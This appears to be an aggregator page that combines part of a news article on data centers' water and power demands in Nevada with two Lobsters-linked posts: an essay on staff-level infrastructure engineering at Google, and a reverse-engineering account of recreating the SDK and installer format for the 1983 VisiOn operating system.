A large data center using evaporative water cooling consumes around 1m gallons a day, said Shaolei Ren, an associate professor at the University of California at Riverside. He studies AI water consumption and said non-evaporative water-cooling technology can diminish water use, but it’s a balancing act because those systems need more electricity, which, in turn, requires more water.

“Water and energy are not separable,” Ren said.

The industrial park built a reclaimed water reservoir for its data center clients that went into operation in 2023. The project, which cost upwards of $100m, involved constructing a 21-mile pipeline to pump effluent from a wastewater treatment plant to the industrial park. While seen as an alternative to taking water directly from the Truckee River, Wadsworth said the effluent previously would’ve been treated and deposited back into the river. So, the tribe still got involved to ensure the river maintained its flow.

Some environmentalists question putting data centers in any drought-prone region , especially as the climate crisis accelerates.

A man posing for a picture with his hands in his pockets.
Kyle Roerink, executive director of the Great Basin Water Network.

“This place is being touted as the epicenter of the energy revolution, the data revolution, the tech revolution,” said Kyle Roerink, the executive director of the Great Basin Water Network , which works to protect water resources in the region. “But they’re never going to be making water.”

‘We just don’t have the power capacity’

The largest data center in the US is tucked into the industrial park. The sleek grey building with red accents is more than half a mile long, 1.3m-sq-ft, and has the capacity for 130 megawatts of electricity – enough to power 100,000 homes a year. It’s owned by Switch, the company’s first data center in what is now a sprawling campus called “The Citadel.”

The entrance to the “Citadel” does give the impression of a fortress. Its entrance sits high on a giant pile of crushed rocks surrounded by 20-ft cement walls topped with dagger-like iron stakes. Guests drive in through a metal gate and security guards in bullet-proof vests hold visitors’ IDs for the duration of their visit.

The campus, which comes with its own power substation and water reservoir, has multiple gargantuan data centers terraced up into a valley, and Switch is building several more. The company says that when the Citadel is done, it will have approximately 10m-sq-ft (930,000 sq meters) of data centers combined.

Inside Switch’s biggest data center, Reno 1, noisy wall-sized fans blow air over the computers to keep them cool. Rows of identical servers behind black mesh gates line long aisles, an infinite, blinking hall of mirrors. The room is dimly lit except for the servers’ blue and green LEDs as they perform incredibly complex computations.

Power lines run along Interstate 80 outside Reno, Nevada.
Power lines run along Interstate 80 outside Reno, Nevada.

Data centers like this are cropping up worldwide, which means not only an intensified strain on water, but also power. Google wrote in its latest sustainability report that it has seen a 51% increase in carbon emissions in its operations since 2019, while Microsoft had a 23% increase since 2020. Amazon and Meta also saw increases over the last few years, with rises of 33% and 64%, respectively. Some researchers say those are undercounts .

The International Energy Agency estimates total electricity consumption from data centers worldwide could double by 2026 from 2022 levels – roughly equaling the amount used per year as the entire country of Japan. In the US, about 60% of electricity comes from burning fossil fuels , a predominant driver of the climate crisis.

“These are large cities in terms of their electricity consumption,” Ari Peskoe, the director of Harvard’s Electricity Law Initiative, said of data centers. “And then, utilities and other power generators are having a massive buildout of natural gas-fired power plants to support this growth.”

Some companies, like Elon Musk’s xAI, have added huge temporary methane gas generators to supply additional energy to their facilities. And, in data center-heavy regions across the US, plans to decommission coal plants have been delayed to keep electricity flowing. Research analysts for Goldman Sachs say they “expect the proliferation of AI technology, and the data centers necessary to feed it, to drive an increase in power demand the likes of which hasn’t been seen in a generation”.

The power plant that serves the industrial center runs on natural gas and is owned by NV Energy, a utility acquired by Warren Buffett’s Berkshire Hathaway in 2013. The utility has received regulatory approval for at least four new natural gas units over the last couple of years. Meghin Delaney, a company spokesperson, said NV Energy also has several renewable energy projects and requires large energy users, like data centers, to “cover transmission and distribution costs upfront before new projects are built”.

Google data center at the Tahoe‑Reno Industrial Center in Storey county, Nevada.
Google data center at the Tahoe‑Reno Industrial Center in Storey county, Nevada.

One of Switch’s focus is green design and energy efficiency . The company says its data centers are completely powered by renewable energy and what it uses from natural gas facilities, it feeds back to the grid from solar and wind projects. Jason Hoffman, the chief strategy officer for Switch, said the company has spent more than “$20bn in 100% green financing since 2024”. Switch was also a major sponsor of the reclaimed water reservoir at the industrial center.

Google, Amazon, Microsoft, Meta and Apple are also tapping into solar and wind to fuel their data center ambitions. Some tech giants are investing in nuclear and geothermal energy. Apple says its data centers in the Reno area run entirely on solar power.

Tesla, Meta and Tract did not respond to requests for comment. Spokespeople for Microsoft, Apple and Amazon declined to comment but pointed the Guardian to their company’s sustainability reports. Chrissy Moy, a Google spokesperson, said the company uses air cooling in its Storey county data centers; and despite a rise in carbon emissions, she said Google saw a 12% reduction in data center energy emissions in 2024, which the company attributes to “bringing new clean energy online”.

A person pointing two fingers at a point on a map.
Kris Thompson points to a map of the Tahoe‑Reno Industrial Center in Storey county.

On the reservation at Pyramid Lake, Wadsworth said rolling brownouts are common during the hot summer months. “Right around 5 o’clock, everybody gets home, and the power will dip multiple times,” he said. He’s concerned it will only get worse with the deluge of data centers, adding, “We just don’t have the power capacity to keep running all of these things.”

Wild horses

Back on the USA Parkway, Thompson steered his SUV through the industrial center’s mountains. He said about 75% of the calls he now gets are from businesses wanting to secure land for data centers. Thompson has spent years on this land, and its development is a point of pride. So is its preservation. He looked out at the arid terrain gesturing to a cluster of scruffy pinyon pines and rabbitbrush that painted the hillside yellow with blooms. A pair of wild horses grazed nearby.

Horses grazing in a field with a building in the distance.
Horses graze at the Tahoe‑Reno Industrial Center in Storey county, Nevada.

Thompson said the park and its high-tech residents do what they can to protect the horses, which were originally brought to the Americas by Spanish conquistadors and now run wild throughout Nevada’s deserts. The horses are seen by some as controversial , as herds can overrun the hills, trampling the distinct natural landscape. But, in the industrial park, the tech companies love them, Thompson said.

“You know, these tech rogues see themselves in the wild horses,” Thompson said. “They’re independent, they’re running free, they’re self-reliant, they’re doing their own thing.” Which sometimes means a trampling stampede.

tunnl.gg | Expose localhost to the internet

Lobsters
tunnl.gg
2025-12-04 11:44:00
Comments...

Why I Ignore The Spotlight as a Staff Engineer

Lobsters
lalitm.com
2025-12-04 11:34:59
Comments...
Original Article

Lately I’ve been reading Sean Goedecke’s essays on being a Staff+ engineer. His work (particularly Software engineering under the spotlight and It’s Not Your Codebase ) is razor-sharp and feels painfully familiar to anyone in Big Tech.

On paper, I fit the mold he describes: I’m a Senior Staff engineer at Google. Yet, reading his work left me with a lingering sense of unease. At first, I dismissed this as cynicism. After reflecting, however, I realized the problem wasn’t Sean’s writing but my reading.

Sean isn’t being bleak; he is accurately describing how to deal with a world where engineers are fungible assets and priorities shift quarterly. But my job looks nothing like that and I know deep down that if I tried to operate in that environment or in the way he described I’d burn out within months .

Instead I’ve followed an alternate path, one that optimizes for systems over spotlights , and stewardship over fungibility .

We Live in Different Worlds

The foundational reason for our diverging paths is that Sean and I operate in entirely different worlds with different laws governing them.

From Sean’s resume , my understanding is that he has primarily worked in product teams 1 building for external customers. Business goals pivot quarterly, and success is measured by revenue or MAU. Optimizing for the “Spotlight” makes complete sense in this environment. Product development at big tech scale is a crowded room: VPs, PMs and UX designers all have strong opinions. To succeed, you have to be agile and ensure you are working specifically on what executives are currently looking at.

On the other hand, I’ve spent my entire career much more behind the scenes: in developer tools and infra teams.

My team’s customers are thousands of engineers in Android, Chrome, and throughout Google 2 . End users of Google products don’t even know we exist; our focus is on making sure developers have the tools to collect product and performance metrics and debug issues using detailed traces.

In this environment, our relationship with leadership is very different. We’re never the “hot project everyone wants,” so execs are not fighting to work with us. In fact, my team has historically struggled to hire PMs. The PM career ladder at Google incentivizes splashy external launches so we cannot provide good “promotion material” for them. Also, our feedback comes directly from engineers. Adding a PM in the middle causes a loss in translation, slowing down a tight, high-bandwidth feedback loop.

All of this together means our team operates “bottom-up”: instead of execs telling us “you should do X”, we figure out what we think will have the most impact to our customers and work on building those features and tools. Execs ensure that we’re actually solving these problems by considering our impact on more product facing teams.

Compounding Returns of Stewardship

In the product environments Sean describes, where goals pivot quarterly and features are often experimental, speed is the ultimate currency. You need to ship, iterate, and often move on before the market shifts. But in Infrastructure and Developer Experience, context is the currency.

Treating engineers as fungible assets destroys context. You might gain fresh eyes, but you lose the implicit knowledge of how systems actually break. Stewardship, staying with a system long-term, unlocks compounding returns that are impossible to achieve on a short rotation.

The first is efficiency via pattern matching . When you stay in one domain for years, new requests are rarely truly “new.” I am not just debugging code; I am debugging the intersection of my tools and hundreds of diverse engineering teams. When a new team comes to me with a “unique” problem, I can often reach back in time: “We tried this approach in 2021 with the Camera team; here is exactly why it failed, and here is the architecture that actually works”.

But the more powerful return is systemic innovation . If you rotate teams every year, you are limited to solving acute bugs that are visible right now . Some problems, however, only reveal their shape over long horizons.

Take Bigtrace , a project I recently led; it was a solution that emerged solely because I stuck around long enough to see the shape of the problem:

  • Start of 2023 (Observation): I began noticing a pattern. Teams across Google were collecting terabytes or even petabytes of performance traces, but they were struggling to process them. Engineers were writing brittle, custom pipelines to parse data, often complaining about how slow and painful it was to iterate on their analysis.

  • Most of 2023 (Research): I didn’t jump to build a production system. Instead, I spent the best part of a year prototyping quietly in the background while working on other projects. I gathered feedback from these same engineers who had complained and because I had established long-term relationships, they gave me honest and introspective feedback. I learned what sort of UX, latency and throughput requirements they had and figured out how I could meet them.

  • End of 2023 to Start of 2024 (Execution): We built and launched Bigtrace, a distributed big data query engine for traces. Today, it processes over 2 billion traces a month and is a critical part of the daily workflow for 100+ engineers.

If I had followed the advice to “optimize for fungibility” (i.e. if I had switched teams in 2023 to chase a new project) Bigtrace would not exist.

Instead, I would have left during the research phase and my successor would have seen the same “noise” of engineers complaining. But without the historical context to recognize a missing puzzle piece, I think they would have struggled to build something like Bigtrace.

The Power of “No”

One of the most seductive arguments for chasing the “Spotlight” is that it guarantees resources and executive attention. But that attention is a double-edged sword.

High-visibility projects are often volatile. They come with shifting executive whims, political maneuvering, and often end up in situations where long-term quality is sacrificed for short-term survival. For some engineers, navigating this chaos is a thrill. For those of us who care about system stability, it feels like a trap.

The advantage of stewardship is that it generates a different kind of capital: trust . When you have spent years delivering reliable tools, you earn the political capital to say “No” to the spotlight when it threatens the product.

Recently, the spotlight has been on AI. Every team is under pressure to incorporate it. We have been asked repeatedly: “Why don’t you integrate LLMs into Perfetto?” If I were optimizing for visibility, the answer would be obvious: build an LLM wrapper, demo it to leadership, and claim we are “AI-first.” It would be an easy win for my career.

But as a steward of the system, I know that one of Perfetto’s core values is precision . When a kernel developer is debugging a race condition, they need exact timestamps, not a hallucination. Users trust that when we tell them “X is the problem” that it actually is the problem and they’re not going to go chasing their tail for the next week, debugging an issue which doesn’t exist.

But it’s important not to take this too far: skepticism shouldn’t become obstructionism. With AI, it’s not “no forever” but “not until it can be done right” 3 .

A spotlight-seeking engineer might view this approach as a missed opportunity; I view it as protecting what makes our product great: user trust.

The Alternate Currency of Impact

The most common fear engineers have about leaving the “Spotlight” is career stagnation. The logic goes: If I’m not launching flashy features at Google I/O, and my work isn’t on my VP’s top 5 list, how will I ever get promoted to Staff+?

It is true that you lose the currency of “Executive Visibility.” But in infrastructure, you gain two alternate currencies that are just as valuable, and potentially more stable.

Shadow Hierarchy

In a product organization, you often need to impress your manager’s manager. In an infrastructure organization, you need to impress your customers’ managers .

I call this the Shadow Hierarchy. You don’t need your VP to understand the intricacies of your code. You need the Staff+ Engineers in other critical organizations to need your tools.

When a Senior Staff Engineer in Pixel tells their VP, “We literally cannot debug the next Pixel phone without Perfetto” , that statement carries immense weight. It travels up their reporting chain, crosses over at the Director/VP level, and comes back down to your manager.

This kind of advocacy is powerful because it is technical, not political. It is hard to fake. When you are a steward of a critical system, your promotion packet is filled with testimonials from the most respected engineers in the company saying, “This person’s work enabled our success”.

Utility Ledger

While product teams might be poring over daily active users or revenue, we rely on metrics tracking engineering health :

  • Utility: Every bug fixed using our tools is an engineer finding us useful. It is the purest measure of utility.

  • Criticality: If the Pixel team uses Perfetto to debug a launch-blocking stutter, or Chrome uses it to fix a memory leak, our impact is implicitly tied to their success.

  • Ubiquity: Capturing a significant percentage of the engineering population proves you’ve created a technical “lingua franca”. This becomes especially obvious when you see disconnected parts of the company collaborating with each other, using shared Perfetto traces as a “reference everyone understands”.

  • Scale: Ingesting petabytes of data or processing billions of traces proves architectural resilience better than any design doc.

When you combine Criticality (VIP teams need this) with Utility (bugs are being fixed), you create a promotion case that is immune to executive reorganizations.

Archetypes and Agency

Staff Archetypes

I am far from the first to notice the idea of “there are multiple ways to be a staff software engineer”. In his book Staff Engineer , Will Larson categorizes Staff-plus engineers into four distinct archetypes.

Sean describes the Solver or the Right Hand : engineers who act as agents of executive will, dropping into fires and moving on once the problem is stabilized. I am describing the Architect or the Tech Lead : roles defined by long-term ownership of a specific domain and deep technical context.

The “Luck” Rebuttal

I can hear the criticism already: “You just got lucky finding your team. Most of us don’t have that luxury.”

There are two caveats to all my advice in this post. First, the strategy I have employed so far requires a company profitable enough to sustain long-term infrastructure. This path generally does not exist in startups or early growth companies; it is optimized for Big Tech.

Second, luck does play a role in landing on a good team. It is very hard to accurately evaluate team and company culture from the outside. But while finding the team might have involved luck, staying there for almost a decade was a choice .

And, at least in my experience, my team is not particularly special: I can name five other teams in Android alone 4 . Sure, they might have a director change here or a VP change there, but the core mission and the engineering team remained stable.

The reason these teams seem rare is not that they don’t exist, but that they are often ignored. Because they don’t offer the rapid, visible “wins” of a product launch nor are they working on the “shiny cool features”, they attract less competition. If you are motivated by “shipping to billions of users” or seeing your friends and family use something you built, you won’t find that satisfaction here. That is the price of admission.

But if you want to build long-term systems and are willing to trade external validation for deep technical ownership, you just need to look behind the curtain.

Conclusion

The tech industry loves to tell you to move fast. But there is another path. It is a path where leverage comes from depth, patience, and the quiet satisfaction of building the foundation that others stand on.

You don’t have to chase the spotlight to have a meaningful, high-impact career at a big company. Sometimes, the most ambitious thing you can do is stay put, dig in, and build something that lasts. To sit with a problem space for years until you understand it well enough to build a Bigtrace.

If you enjoyed this post, you can subscribe to my weekly roundup of recent posts, or follow via RSS .

On recreating the lost SDK for a 42-year-old operating system: VisiCorp Visi On

Lobsters
git.sr.ht
2025-12-04 10:42:13
Comments...
Original Article

# On recreating the lost SDK for a 42-year-old operating system: VisiCorp Visi On

Back in 1983, an office software giant VisiCorp released a graphical multitasking operating system for the IBM PC called VisiOn (or Visi On, or Visi-On, it was before the Internet, so anything goes). It was an "open system", so anyone could make programs for it. Well, if they owned an expensive VAX computer and were prepared to shell out $7,000 on the Software Development Kit.

VisiOn was released earlier than Microsoft Windows, Digital Research GEM, or Apple Macintosh. Its COMDEX demo even predates the annoucement of Apple Lisa. But being first doesn't mean getting things right, so this VisiOn of the future did not win the market. Not a single third-party program was released for the system. No one preserved the SDK for the system. The technical documentation roughly amounts to three terse magazine articles and a single Usenet post. Heck, even the copies of the operating system itself are hard to come by.

Despite its low popularity, VisiOn is historically important. It influenced Microsoft's decisions about Windows, and it is a lesson about failing. So, I thought it would be nice to recreate the SDK for it, Homebrew-style. How difficult could it be, right?!

It took me a month of working 1-2 hours a day to produce a specification that allowed Atsuko to implement a clean-room homebrew application for VisiOn that is capable of bitmap display, menus and mouse handling.

If you're wondering what it felt like: this project is the largest "Sudoku puzzle" I have ever tried to solve. In this note, I have tried to explain the process of solving this puzzle, as well as noteworthy things about VisiOn and its internals. But, first things first...

# The first-ever third-party application for VisiOn

Pyramid Game is a simple patience card game that demonstrates the basics of application development for VisiOn. It comes with an installer and features loadable fonts, bitmaps, clickable areas ("buttons"), and a menu system.

You now can download the floppy image and the distribution files . Obviously, you will need an installed VisiOn system to run it. The rules of the game can be found on Wikipedia .

The source code is available in its own repo .

The claim of Pyramid being "the first-ever" third-party application is a bit strong. VisiOn was an "open system", and so it is theoretically possible someone bought a VisiOn ToolKit and made third-party applications for VisiOn. But even if they did, they never published or sold them. So, Pyramid is the first-ever published third-party application for VisiOn.

# Target audience of this note

This note is aimed at technically inclined readers with software engineering and coding background who want to learn more about vintage operating systems and reverse engineering. I'll try to keep the explanations simple at the expense of obscuring some of the technical details; if you want the details, please check out the verbose notes and the test application . I hope to document the operating system at a later date.

This note is quite long. Feel free to scroll to a part that interests you and read from there.

Personally, I find this project fascinating in terms of solarpunk and permacomputing. Imagine: you find an ancient device (42 years is ancient for computers, right?!), an artefact of a previous era, without any documentation. You have all the modern knowledge, and you want to make this mysterious device do things it was not supposed to do originally. Of course, with Visi On it's not quite the same; it runs on the IBM PC, a very well-documented and researched hardware platform.

If you have any feedback or comments, please leave them in the Mastodon thread or in the sr.ht ToDo project . Questions are fine, too!

# A tour of VisiOn quirks

VisiOn was made before many common user interface conventions were invented. It targeted a computer with a tiny resolution of 640x200 pixels, so its authors decided not use any icons. Therefore, VisiOn looks a bit alien. At the same time, it was made by people who knew what they were doing, and it is mostly coherent in its interface decisions.

Here is a copy of the OS tour I gave on Mastodon . I did not insert the clips as inline GIFs because the animations cannot be paused and are very distracting.

Clip: boot process

One immediately obvious thing here is the "hourglass" icon. Some believe that it might have been the first OS to use the hourglass mouse icon, but no, Xerox and InterLisp had it earlier. Apple Lisa, a contemporary, also had a similar mouse cursor.

The main application of the Visi On Application Manager is called "Services". The biggest diference between "Services" and other applications is that its "exit" button shuts down the whole OS.

You can see the screen has a System Menu at the bottom. The system menu is here to manage windows: make them FULL screen, re-FRAME them, CLOSE into an on-desktop button (we'd say "minimise" today) or OPEN them back. You cannot move the windows by their title bars. The system is very happy to beep at you, like it's a vintage PC game.

Clip: window management

VisiOn is a multi-tasking operating system, and it allows launching multiple instances of the same application. To differentiate between them, the user can input the window name during the application startup.

Clip: multiple windows of the same program

In VisiOn, the Tutorial and Help apps implement a simple hyper-text system based on the "button" primitive. The "button" is simply a clickable area on the screen. It highlights by reversing the background and foreground colour when the mouse hovers over the button.

The system uses left-click for most operations. The right click is needed for the "scroll" operation. The user can scroll the documents (if there's something that can be scrolled) and the menu. You can see that the application menu isn't always fully visible, right?

Clip: buttons and scroll

The application menu system in VisiOn is hierarchical. Some operations make the menu behave like a modal window would in Windows or Mac. It is common not to add a "cancel" button in the menu. Instead, the system button STOP is used to cancel the operation.

In other situations, the menu can be navigated back by using the hierarchical menu selector. In either case, the system is "verb" driven - you choose the action ("verb"), and then you choose where the action should apply. The biggest problem is probably that the menu system is inconsistent. Some menus have "back" or "cancel" options, and some don't. Some "verbs" are actually nouns - "Printing". Some verbs start with a capital letter - "Configure" - like they are nouns. Perhaps it is a sign of a menu element that doesn't require "an object". The "object" here is more "grammatical" than a software concept.

Clip: application menu bar

The Archives app is the built-in file manager for the VisiOn and is one of the standard apps. Somewhat surprisingly, it puts deleted files into the "Wastebasket" folder. Windows couldn't do that because of Apple's patents - but Apple clearly wasn't the first (I bet it's coming from Xerox).

The Archives app makes it clear that VisiOn's file system supports long file names. VisiOn runs on top of MS-DOS 2.0, so it has to implement its own FS on top of FAT for this to work. The app can also work in two-pane mode, but it divides the screen horizontally, so long file names would fit on the screen easily.

The "verb"-oriented interface requires the app to show a "NEW" item on the screen, though it is a bit confusing. Can you rename a "NEW" file?

Clip: the Archives application

There are some mysterious buttons we have not explored in VisiOn just yet. One of them, TRANSFER, is used to command the applications to perform a "copy-paste" operation. It is impossible to just "copy" a thing and then "paste" it multiple times.

You can see that the OPEN command is completely unnecessary, because the closed window can be opened simply by clicking its minimised button. It would be nice for VisiOn to remove the OPEN button and replace TRANSFER with separate COPY and PASTE buttons. It shouldn't be too difficult to implement - Transfer From and Transfer Into are different system events from the application point of view. The concept of Copy&Paste wasn't ubiqiutous, but it was not unheard of either, because the VisiOn Word has these options in the application menu, in addition to the system's TRANSFER.

By the way, did you notice a cute VisiOn icon in front of some app names? It is actually two "non-printable" characters, 0x16 and 0x17. The system font has a few more useful icons hidden in it.

Clip: copy and paste

The last important button on the system menu of the VisiOn operating system is OPTIONS. Some applications have a configuration file, and the contents of the configuration file can be displayed on the right side of the window. The Options window behaves like a separate app with a separate menu. It is kind of similar to a pop-up window.

Curiously, it is possible to open the Options window from within the application. The same Options dialogue is shown by Word either by clicking "OPTIONS" or by clicking "Print>local-print". But then Word also has Cut&Paste menu system that allows copying and pasting within the application (but not between the application windows).

Clip: "options" side-bar

# Now, to the technical stuff

# What we thought we knew about Visi On

At face value, Visi On is a sleek, minimalist-looking windowing system for office applications. But it was built by people involved with early object-oriented programming, and the sales pitch for the system made some pretty bold claims. Were they true? Let's find out.

# Fact-checking

This is a spoliers section for those who thought they knew things about Visi On! For everyone else, this is going to be boring - if so, skip to the next section :)

The primary objectives of Visi-On is a consistent user interface and portability. Visi-On is designed to run on any operating system. ("The Visi On experience")

Sort of. Claiming "Visi-On is designed to run on any operating system" is like claiming "Unix is designed to run on any hardware". Clearly, it was made with portability in mind, but even supporting CP/M-86 on IBM PC would require a completely different VISION.EXE, and a different installer floppy format (i.e. you couldn't install Visi On Calc we have on a VisiOn running on top of CP/M). Supporting a different computer architecture would have been quite an ordeal.

It did this by providing a kind of non machine specific "virtual machine" (called the Visi Machine) that all applications were written for. (Toasty Tech)

What you have above Visi On or VOS itself is an interface we call the Visimachine interface. That is all of the calls that you need as a product designer to use all of the facilities provided by Visi On. This is the virtual machine? For product designers, this is the virtual machine. ("Byte", 1983/6)

The term "virtual machine" used by VisiOn developers means something different from what we mean by the words "virtual machine" today. The closest word we use today would be "API". That's right, Visi On applications use a cross-platform API. Just like almost any other operating system today. I bet it was a really cool idea back in 1983, though.

By the way, "VisiHost" for IBM PC is VISION.EXE. The "VisiMachine", which is not a virtual machine, but a set of system libraries and the desktop manager, is also known as "VOS", "VisiOn Operating System", "Application Manager" or simply "Services".

The virtual machine provided supports virtual memory and concurrent processing. ("The Visi On Operating Environment", IEEE TCDE Bulletin, September 1983)

Half-true. Visi On indeed implements virtual memory, but it is a software implementation without any memory protection mechanisms. Nothing but good will stops applications from reading or corrupting memory used by other applications.

The words "concurrent processing" might lead you to believe that VisiOn is a truly multitasking system. But its concurrent processing capabilities are quite limited. It is most definitely not a preemptive multitasking system, because if an application hangs, the whole system hangs. There seem to be some provisions for background data processing, at least for printer spooling. I think a flavour of cooperative multitasking might be possible in VisiOn, but so far I could not find a way to run an application in the background, so maybe it is not multitasking at all!

[The virtual machine] comprises 12 abstract data types. Each abstract data type responds to messages and provides a specific type of service. ("The Visi On Operating Environment", IEEE TCDE Bulletin, September 1983)

Unclear. It seems there are some "messaging" capabilities, but most of the interaction with the OS is still done through regular system calls. So far, I have discovered only messages that create a window, define a menu and request events from the OS. And the messages aren't really related to the "abstract data types". Perhaps, the representation of the objects and data types was different on the source code-level?

Also, this statement contradicts what the authors said about the system in an earlier interview.

Visihost is an object-oriented operating system, and it’s composed of 10 object types... You can establish instances of the objects by just sending messages to them on a Smalltalk message-class type interface. ("Byte", 6/1983)

Half-true. The "objects" do not seem to be "objects" in a modern sense. There is no system of attributes, methods and classes. Instead, there are instances of structures that are passed through the API to the OS. Most of the communication with the OS doesn't happen through messages; it happens through system calls.

In fact, the very same interview confirms this:

An object in Smalltalk basically is a message, yes, that carries with it something that says what can be done to it. Visi On objects are not that complex. They’re objects... yes, they do have context of what their formatting is, but they aren’t Smalltalk objects.

Next!

Activities request services from the Visi-Machine via Visi-Ops or via BITS (Basic Interaction Techniques). The two are distinguished in that a Visi-Op call requires a process ID. (A 16 bit number assigned by Visi-Corp to a given application program). ("Visi On from a Software Developer's point of view", 1983)

Mostly false. It seems VisiCorp itself couldn't agree on what BITS means; sometimes it is used for low-level system calls for the kernel ("VisiHost"), and sometimes it is used to talk about patterns of the user interface. Also, a process ID is not assigned by Visi-Corp; it is evaluated at run time.

VOS (note: VisiMachine) is the only activity that actually does direct Visihost calls. All other calls come through VOS itself. ("Byte", 6/1983)

Mostly true. On the machine code level, applications can and do call the kernel ("VisiHost") directly. But all the existing applications only do so to talk to the Services ("VisiMachine"). On the machine code level, nothing stops the application from calling the VisiHost - this is how VisiMachine is getting things done - but presumably this would harm portability.

Visi On did not, however, include a graphical file manager. ("Visi On", Wikipedia, November 2025)

False. There is an application called Archive, which is a part of the "Services", and it is a bona fide file manager. It does not have icons, though; but there are no icons in any other parts of VisiOn, either.

The scripts capability is another important aspect of ease of use. It’s a learn mode. It has a window that you can interact with. You can stop that learn mode at any time and tell the system to accept a variable. You open a scripts window and say, “learn.” Then the system prompts you for a name, you type in the name, and that will be the name of a script. ("Byte", 6/1983)

Unfortunately, this part of VisiOn seems to be missing from the release. And speaking of missing features, the demo from 1983 also has a mysterious SAVE button that is not present in the final release.

# External sources

Most of the technical documentation about the system available until now comes from the following articles and posts:

# The fun begins!

# Initial investigation

Visi On is meant to run on an IBM PC XT with a hard disk. It won't run properly on an IBM PC AT, and it won't run in most emulators. The pre-installed unprotected version with an AT patch available on ToastyTech runs in some emulators (86Box and PCEm). There are three software packages that can be installed in VisiOn: Word, Calc and Graph. Trying to install them from any old floppy is not possible due to various copy-protection methods (more on this soon).

The installed copy of VisiOn on the hard drive has the executable file VISION.EXE , and a bunch of cryptic files in the VISI_ON folder. Most interesting of those are:

     856 PROGRAMS.VOS -- ??? binary data
  200000 RESERVED.VOS -- resources for the applications? swap?
  777728 SEG00000.VOS -- the actual software installed in the OS?
    3290 SEGMENTS.VOS -- ??? binary data

The files don't have an obvious structure. To grasp a feeling of the file, I use my favourite tool: Load Image From Raw Data in GNU IMP.

Scrolling through the segments surfaces a high-resolution font file and a garbled startup screen:

Are the installed files encrypted?

# Checking the installation media

The installation floppies have the files with names matching those on the hard disk, but they have different content. It is obvious that the contents are encrypted by some simple method. For example, here is the contents of the first installation floppy:

    3110 16 Dec  1983 00000009.VOS -- same as the installed version, but encrypted
   10334 16 Dec  1983 00000010.VOS -- same as the installed version, but encrypted
     110 16 Dec  1983 H0000000.VOS -- a binary directory of files
   65536 16 Dec  1983 SEG10002.VOS -- overlay, seemingly encrypted
   65536 16 Dec  1983 SEG10003.VOS -- overlay, -""-
   65536 16 Dec  1983 SEG10005.VOS -- overlay, -""-
   44604 16 Dec  1983 VINSTALL.COM -- installer tool
   71680 16 Dec  1983 VISION.EXE   -- the program itself, very clearly it is encrypted in some simple way

The contents of the files show a repeating pattern. For example, in SEG10003.VOS:

0000fe50  3c 6a 4f 3c 3c 6a 4f 3c  3c 6a 4f 3c 3c 6a 4f 3c  |<jO<<jO<<jO<<jO<|
0000fe60  3c 6a b0 3c c3 6a 4f 3c  3c 6a 4f 3c 3c 6a 4f 3c  |<j.<.jO<<jO<<jO<|
0000fe70  3c 6a 4f 3c 3c 6a 4f 3c  3c 6a 4f 3c 3c 6a 4f 3c  |<jO<<jO<<jO<<jO<|

Such a repeating pattern is indicative of an encryption with XOR . This is a very poor encryption technique; not only can the encryption key be guessed easily, but a long sequence of zero-bytes will expose the key as it is.

# Tweaking the installation media

The installation floppies are not only encrypted, but also copy-protected with "out-of-bounds" sectors. They require special emulation methods, but thankfully those methods are well described in 86Box and HxC floppy tool documentation.

With a simple encryption and decryption tool, I managed to change the text in the Tutorial app shipped with the operating system and package it back to the (still copy-protected) floppy.

# Figuring out the floppy file system

A floppy with a Visi On program has dozens of files named 00001000.VOS , 00001234.VOS and so on. Which files are mandatory, and what is in them? Lots of trial and error ("let's delete this file, let's put back this file") shows that a floppy must have the following files:

  • 00000000.VOS - simply 12 zeroes
  • 00001000.VOS - the description of the floppy (disk label and the list of programs on it), encrypted
  • 00001001.VOS - a copy-protection mechanism, twice-encrypted
  • an installation script referenced from 00001000.VOS ,
  • components of the program referenced from the installation script

The patterns in the unencrypted files can be observed by simply looking at the files. For example, this is a fragment of 00001000.VOS from the Visi On Calc package:

00000080  16 17 20 43 6f 6e 76 65  72 74 20 74 6f 20 43 61  |.. Convert to Ca|
00000090  6c 63 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |lc..............|
000000a0  31 2e 30 00 00 00 00 00  00 00 00 00 01 00 41 04  |1.0...........A.|
000000b0  00 00 00 00 00 00 00 00                           |........|

Note: IBM PC is a little-endian architecture. The byte sequence 41 04 should be read as 0x0441 , or 1089 in decimal. Sure enough, 00001089.VOS stores the installation script for the program, referencing other files on the floppy disk:

00000000  a7 43 16 17 20 43 6f 6e  76 65 72 74 20 74 6f 20  |.C.. Convert to | <- magic number + logo + name
00000010  43 61 6c 63 00 00 00 00  00 00 00 00 00 00 00 00  |Calc............|
00000020  00 00 31 2e 30 00 00 00  00 00 00 00 00 00 01 00  |..1.0...........| <- version
00000030  03 00 02 00 00 00 00 00  00 00 00 00 00 00 0a 00  |................|
00000040  00 00 01 00 42 04 01 00  02 00 43 04 01 00 01 00  |....B.....C.....| <- 0x442 - first file to install 
00000050  44 04 01 00 02 00 45 04  01 00 02 00 46 04 01 00  |D.....E.....F...|
00000060  02 00 47 04 01 00 02 00  48 04 01 00 01 00 49 04  |..G.....H.....I.|
00000070  01 00 01 00 4a 04 01 00  01 00 4b 04 01 00 01 00  |....J.....K.....|
00000080  00 00 02 00 4c 04                                 |....L.|           <- .... 0x44c - last file to install

# Unencrypted installer

A big obstacle in developing applications is the copy-protection mechanism in 00001001.VOS . The file itself is lightly encrypted with XOR, and then heavily encrypted with XOR once again. Decrypting it and loading it in Ghidra allowed me to understand (generally speaking) that this little tool is an x86 program with a custom header and a single entry point. This entry point is called by the installer to check that the floppy is copy-protected and to decrypt the contents of the floppy.

Atsuko eventually rewrote the copy-protection binary, to skip the encryption and floppy checks. This version of 00001001.VOS is very useful even for installing VisiCorp's programs, as it allows using regular floppy disks, or to tweak the program sources before the installation.

Fun note: the XOR encryption key on software disks is stored in plain text at the beginning of every 00001001.VOS file. Such a glaring oversight!

# Installer script; linking script

Checking unencrypted files (looking closely at their contents in a hex editor) revealed the internal structure of a program package:

  • An installer script: it describes which VOS files are needed by the program,
  • One or more "code segment" files: these mostly contain position-independent machine code for the Intel 8086 CPU (defeating the theory of VisiOn implementing a virtual machine),
  • One "data segment" file: it stores the data needed by the program at all times,
  • One linking script, which is somewhat similar to a header in EXE, DLL or ELF files: it points to a list of all "entry points" in the "code segment" files, and tells the OS where the program's main() function is, and
  • One mini file system with a collection of various files used by the program.

The type of VOS file is determined by two independent factors:

  • The installer script marks the header file and the mini file system in a special way,
  • "Data" and "code" segment files have an 8-byte header (four 16-bit numbers: magic , type of the segment, number of the segment, the length of the segment in bytes)

# Running under the debugger

